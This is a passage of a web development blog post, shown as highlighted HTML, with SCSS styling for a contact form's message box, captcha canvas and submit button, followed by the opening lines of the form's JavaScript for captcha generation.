</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">-webkit-box-sizing</span><span style="color:#f92672">:</span> border-box;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">-moz-box-sizing</span><span style="color:#f92672">:</span> border-box;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">-o-box-sizing</span><span style="color:#f92672">:</span> border-box;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">-ms-box-sizing</span><span style="color:#f92672">:</span> border-box;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">box-sizing</span><span style="color:#f92672">:</span> border-box;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">outline</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">border</span><span style="color:#f92672">:</span> none;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">-webkit-border-radius</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">5</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">-moz-border-radius</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">5</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">border-radius</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">5</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">color</span><span style="color:#f92672">:</span> $textColor;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">background</span><span style="color:#f92672">:</span> $dark-grey;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">&amp;</span> <span style="color:#f92672">div</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">&amp;</span> <span style="color:#f92672">span</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">display</span><span style="color:#f92672">:</span> none;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">.message</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">grid-area</span><span style="color:#f92672">:</span> message;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">padding</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">10</span><span style="color:#66d9ef">px</span> <span style="color:#ae81ff">20</span><span style="color:#66d9ef">px</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">20</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">&amp;</span> <span style="color:#f92672">textarea</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">width</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">100</span><span style="color:#66d9ef">%</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">resize</span><span style="color:#f92672">:</span> vertical;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">min-height</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">80</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">max-height</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">400</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">font-weight</span><span style="color:#f92672">:</span> bold;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">.captcha</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">grid-area</span><span style="color:#f92672">:</span> captcha;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">padding</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">20</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&gt;</span><span style="color:#f92672">input</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">width</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">100</span><span style="color:#66d9ef">%</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&gt;</span>#captchaCanvas {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">width</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">300</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">height</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">80</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">border</span><span style="color:#f92672">:</span> none;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">border-radius</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">15</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">background-color</span><span style="color:#f92672">:</span> $midnightblue;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&gt;</span>#refresh {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">outline</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">border</span><span style="color:#f92672">:</span> none;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">cursor</span><span style="color:#f92672">:</span> pointer;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">background</span><span style="color:#f92672">:</span> transparent;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">margin</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">position</span><span style="color:#f92672">:</span> relative;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">top</span><span style="color:#f92672">:</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">25</span><span style="color:#66d9ef">%</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">.submit</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">text-align</span><span style="color:#f92672">:</span> center;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">padding</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">20</span><span style="color:#66d9ef">px</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&gt;</span><span style="color:#f92672">button</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">width</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">95</span><span style="color:#66d9ef">%</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">outline</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">border</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">2</span><span style="color:#66d9ef">px</span> solid $theme;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">height</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">50</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">color</span><span style="color:#f92672">:</span> $textColor;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">cursor</span><span style="color:#f92672">:</span> pointer;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">border-radius</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">5</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">background</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">linear-gradient</span>(to right<span style="color:#f92672">,</span> $highlight-grey<span style="color:#f92672">,</span> $highlight-grey);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">background-repeat</span><span style="color:#f92672">:</span> no-repeat;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">background-size</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">100</span><span style="color:#66d9ef">%</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">transition</span><span style="color:#f92672">:</span> background-size <span style="color:#ae81ff">1</span><span style="color:#66d9ef">s</span> <span style="color:#ae81ff">0</span><span style="color:#66d9ef">s</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">&amp;</span><span style="color:#f92672">:</span>hover<span style="color:#f92672">:</span><span style="color:#a6e22e">not</span>([disabled])<span style="color:#f92672">,</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&amp;:</span>focus<span style="color:#f92672">:</span><span style="color:#a6e22e">not</span>([disabled]) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">height</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">50</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">border</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">2</span><span style="color:#66d9ef">px</span> solid $textColor;
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">background-size</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">100</span><span style="color:#66d9ef">%</span> <span style="color:#ae81ff">100</span><span style="color:#66d9ef">%</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">color</span><span style="color:#f92672">:</span> $text;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">&amp;</span><span style="color:#a6e22e">:disabled</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">background</span><span style="color:#f92672">:</span> $dark-grey;
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">color</span><span style="color:#f92672">:</span> white;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>I&rsquo;m using monospaced font because I am simply not ready to deal with weirdness of fonts and, in my very subjective opinion, it looks cool.</p>
<h3 id="finally-javascript">Finally JavaScript</h3>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 37
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 38
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 39
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 40
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 41
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 42
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 43
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 44
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 45
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 46
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 47
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 48
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 49
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 50
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 51
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 52
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 53
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 54
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 55
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 56
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 57
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 58
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 59
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 60
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 61
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 62
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 63
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 64
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 65
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 66
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 67
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 68
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 69
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 70
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 71
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 72
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 73
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 74
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 75
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 76
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 77
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 78
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 79
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 80
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 81
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 82
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 83
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 84
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 85
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 86
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 87
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 88
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 89
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 90
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 91
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 92
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 93
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 94
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 95
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 96
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 97
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 98
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 99
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">100
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">101
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">102
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">103
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">104
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">105
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">106
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">107
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">108
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">contactForm</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;contact-form&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">captchaText</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;captchaText&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">messageText</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;message&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">submit</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;submit&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">admonition</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementsByClassName</span>(<span style="color:#e6db74">&#34;admonition&#34;</span>)[<span style="color:#ae81ff">0</span>];
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">errorMessage</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementsByClassName</span>(<span style="color:#e6db74">&#34;admonition-content&#34;</span>)[<span style="color:#ae81ff">0</span>];
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">alphaNums</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;ABCDEFGHKLMNPQRSTUVWXYZabcdefghkmnpqrstuvwxyz23456789!@#$%^&amp;({[&lt;&gt;]})?&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">generatedCaptcha</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">sent</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">url</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;https://worker_link&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">request</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">XMLHttpRequest</span>();
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">contactForm</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">remove</span>(<span style="color:#e6db74">&#34;formdisable&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">randomColor</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">r</span> <span style="color:#f92672">=</span> Math.<span style="color:#a6e22e">floor</span>(Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#ae81ff">256</span>);
